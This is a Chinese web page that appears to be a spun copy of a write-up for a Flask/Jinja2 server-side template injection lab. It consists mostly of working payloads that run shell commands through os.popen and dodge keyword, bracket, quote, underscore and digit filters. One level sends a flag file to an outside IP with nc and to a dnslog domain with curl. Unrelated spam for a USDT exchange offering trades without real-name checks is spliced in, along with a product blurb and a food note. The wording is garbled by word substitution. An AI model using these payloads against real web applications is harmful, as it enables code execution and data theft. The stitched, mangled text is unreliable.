U交所(www.9cx.net)是使用TRC-20协议的Usdt官方交易所,开放USDT帐号注册、usdt小额交易、usdt线下现金交易、usdt实名不实名交易、usdt场外担保交易的平台。免费提供场外usdt承兑、低价usdt渠道、Usdt提币免手续费、Usdt交易免手续费。U交所开放usdt otc API接口、支付回调等接口。
本人小白,师傅们勿喷
payload主要有两种形式: 一种是获取os来执行下令 {{''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('cat flag').read()}} 一种是获得__builtins__行使eval来执行下令 {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}} ,或者是其他可以获得__builtins__的要害字。
知识点:
行使过滤器拼接要害字:{% set gl=dict(glo=a,bals=a)|join%}
过滤数字:用count或length,index来获取数字 行使{{lipsum|string|list}}能获取一个列表
好比我们想获取数字1 {{(lipsum|string|list).index('f')}} 获得数字1 3 5 {% set five=(lipsum|string|list)|attr(index)(t) %} {% set three=(lipsum|string|list)|attr(index)(n) %} {% set one=(lipsum|string|list)|attr(index)(f) %} 若是过滤了单引号可以使用join过滤器 {%set%20f=dict(f=a)|join%}{{(lipsum|string|list).index(f)}}
获取下划线
{{(lipsum|string|list).pop(18)}}
获取chr
lipsum.__globals__['__builtins__'].chr
第一关
no waf
只需找到os或者是builtins来执行下令即可,下面贴几种payload
行使os执行下令: 行使for循环找到,os._wrap_close类 {%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%} {{''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('cat flag').read()}} 行使__builtins__执行下令 {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}} {{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()") 这里的x随便26个英文字母的随便组合都可以,同样可以获得__builtins__ {{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}} SSTILAB{enjoy_flask_ssti}
第二关
waf:bl['{{']
可以用{%%}来举行绕过,直接执行下令就好。
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%}
{%print(x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()"))%}
第三关
waf:no waf and blind
没有回显,可以用vps监听或者DNSlog带出flag
{{().__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('cat flag|nc 8.136.15.232 80').read()}}
{{().__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('curl http://`cat flag`.u5d01l.dnslog.cn').read()}}
第四关
waf:bl['[', ']']
过滤了中括号,行使getitem绕过中括号
code={%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__.__getitem__('popen')('cat flag').read()%}{%endif%}{%endfor%}
第五关
waf:bl['\'', '"']
过滤了单双引号可以使用request来绕过,这边使用了cookie举行传参。
code={{x.__init__.__globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}} Cookie:x1=__builtins__;x2=__import__('os').popen('cat f*').read()
第六关
waf:bl['_']
过滤了下划线,同样可以使用cookie举行传参,这边还使用了attr()过滤器举行毗邻。
,U交所(www.9cx.net)是使用TRC-20协议的Usdt官方交易所,开放USDT帐号注册、usdt小额交易、usdt线下现金交易、usdt实名不实名交易、usdt场外担保交易的平台。免费提供场外usdt承兑、低价usdt渠道、Usdt提币免手续费、Usdt交易免手续费。U交所开放usdt otc API接口、支付回调等接口。
code={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}} x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat f*').read()
第七关
waf:bl['.']
过滤了 . 使用过滤器举行毗邻即可。
{{config|attr("__class__")|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat fla*")|attr("read")()}}
第八关
waf:bl["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]
过滤了一堆,然则可以使用拼接的方式来组织。
{%for i in ""["__cla""ss__"]["__mr""o__"][1]["__subcla""sses__"]()%}{%if i.__name__ == "_wrap_close"%}{%print i["__in""it__"]["__glo""bals__"]["po""pen"]('cat f*')["re""ad"]()%}{%endif%}{%endfor%}
第九关
waf:bl['0-9']
过滤了数字,可以行使for循环来找到os._wrap_close,这样就不必使用数字。行使base寻找基类可以免去使用数字。
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%}
第十关
waf:set config = None
不使用config就可以,第一关payload。
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%}
第十一关
['\'', '"', '+', 'request', '.', '[', ']']
最终为了组织的payload为
lipsum.globals.get('os').popen('cat flag').read()
思绪:行使set来界说变量,使用attr()来提取使用变量绕过点,中括号。然则这样存在一个问题是需要获取下划线,以是使用下面payload来获取下划线。
(lipsum|string|list)|attr(pop)(18)
使用join的方式相当于pass了单双引号,这样ban的字符都有了。
{% set index=dict(index=a)|join%} {% set pop=dict(pop=a)|join%} {% set ls=dict(ls=a)|join%} {% set cat=dict(cat=a)|join%} {% set popen=dict(popen=a)|join%} {% set get=dict(get=a)|join%} {% set chr=dict(chr=a)|join%} {% set n=dict(n=a)|join%} {% set t=dict(t=a)|join%} {% set f=dict(f=a)|join%} {% set os=dict(os=a)|join %} {% set read=dict(read=a)|join%} {% set five=(lipsum|string|list)|attr(index)(t) %} {% set three=(lipsum|string|list)|attr(index)(n) %} {% set one=(lipsum|string|list)|attr(index)(f) %} {% set xiahuaxian=(lipsum|string|list)|attr(pop)(18) %} {% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %} {% set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %} {% set chcr=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(chr) %} {% set space=chcr(three*three*five-five-five-three) %} {% set shell=(cat,space,dict(flag=a)|join)|join %} {{(lipsum|attr(globals))|attr(get)(os)|attr(popen)(shell)|attr(read)()}}
第十二关
waf:bl['_', '.', '0-9', '\', '\'', '"', '[', ']']
比上一关多过滤了数字,可以使用index获取数字,payload基本稳固。
使用index获取数字
{% set five=(lipsum|string|list)|attr(index)(t) %} {% set three=(lipsum|string|list)|attr(index)(n) %} {% set one=(lipsum|string|list)|attr(index)(f) %} {% set index=dict(index=a)|join%} {% set pop=dict(pop=a)|join%} {% set ls=dict(ls=a)|join%} {% set cat=dict(cat=a)|join%} {% set popen=dict(popen=a)|join%} {% set get=dict(get=a)|join%} {% set chr=dict(chr=a)|join%} {% set n=dict(n=a)|join%} {% set t=dict(t=a)|join%} {% set f=dict(f=a)|join%} {% set os=dict(os=a)|join %} {% set read=dict(read=a)|join%} {% set five=(lipsum|string|list)|attr(index)(t) %} {% set three=(lipsum|string|list)|attr(index)(n) %} {% set one=(lipsum|string|list)|attr(index)(f) %} {% set shiba=five*five-three-three-one %} {% set xiahuaxian=(lipsum|string|list)|attr(pop)(shiba) %} {% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %} {% set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %} {% set chcr=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(chr) %} {% set space=chcr(three*three*five-five-five-three) %} {% set shell=(cat,space,dict(flag=a)|join)|join %} {{(lipsum|attr(globals))|attr(get)(os)|attr(popen)(shell)|attr(read)()}}
第十三关
waf:bl['_', '.', '\', '\'', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']']
比上一关多过滤了几个要害字,然则我们的payload用不到。。以是拿上一关的payload打就可以。
{% set index=dict(index=a)|join%} {% set pop=dict(pop=a)|join%} {% set ls=dict(ls=a)|join%} {% set cat=dict(cat=a)|join%} {% set popen=dict(popen=a)|join%} {% set get=dict(get=a)|join%} {% set chr=dict(chr=a)|join%} {% set n=dict(n=a)|join%} {% set t=dict(t=a)|join%} {% set f=dict(f=a)|join%} {% set os=dict(os=a)|join %} {% set read=dict(read=a)|join%} {% set five=(lipsum|string|list)|attr(index)(t) %} {% set three=(lipsum|string|list)|attr(index)(n) %} {% set one=(lipsum|string|list)|attr(index)(f) %} {% set xiahuaxian=(lipsum|string|list)|attr(pop)(18) %} {% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %} {% set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %} {% set chcr=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(chr) %} {% set space=chcr(three*three*five-five-five-three) %} {% set shell=(cat,space,dict(flag=a)|join)|join %} {{(lipsum|attr(globals))|attr(get)(os)|attr(popen)(shell)|attr(read)()}}
本次参考:bfengj大佬博客
https://blog.csdn.net/rfrder/article/details/115272645
针对在全屋智能一体化家居场景或卖场场景下多设备的情况,思必驰新推出“直面唤醒”方案,可以帮助用户优先唤醒其中某一个设备,避免几个设备同时被唤醒。冲冲冲,上热门!!!
脑洞100分
很现实但是不残酷
有没有稀奇爱吃麻辣烫的小伙伴呢,尤其是到了冬天,麻辣烫是我们生涯当中泛起频率异常高的一种快餐,不光是点外卖,现在也有许多网上的方式,可以在自己家内里制作麻辣烫,然则还不乏有些同伙喜欢去外面吃,今天跟小编熟悉这三种贵菜,再去吃麻辣烫的时刻多加一些,老板肯定要哭的。水一水,好看